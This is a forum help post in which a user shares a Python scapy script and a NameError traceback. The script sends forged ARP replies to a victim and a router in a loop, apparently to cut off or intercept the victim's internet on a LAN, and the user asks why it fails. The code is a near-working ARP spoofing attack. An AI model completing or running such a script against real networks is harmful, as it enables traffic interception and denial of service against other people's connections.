Hello , I’ve been trying to code with scapy and block my internet in my LAN network by python. And it showed me an error:
Traceback (most recent call last):
File “/home/kali/Desktop/arp.py”, line 10, in
victim_packet = ARP(op=2, psrc=router[0], pdst=victim[0], hwdst=victim[1])
NameError: name ‘ARP’ is not defined
Here is the code(I am using kali linux)
`from scapy import *
victim = ["IP", "mac-address"]
router = ["IP", "mac-address"]
victim_packet = ARP(op=2, psrc=router[0], pdst=victim[0], hwdst=victim[1])
router_packet = ARP(op=2, psrc=victim[0], pdst=router[0], hwdst=router[1])
try:
while 1:
send(victim_packet)
send(router_packet)
except KeyboardInterrupt:
send(ARP(op=2, pdst=router[0], psrc=victim[0], hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victim[1]))
send(ARP(op=2, pdst=victim[0], psrc=router[0], hwdst="ff:ff:ff:ff:ff:ff", hwsrc=router[1]))
I’ve tried to upgrade scapy in the terminator on kali linux and trying to re-install python3 in kali linux , but it didn’t work. Anyone can help me? Thank you , Roy.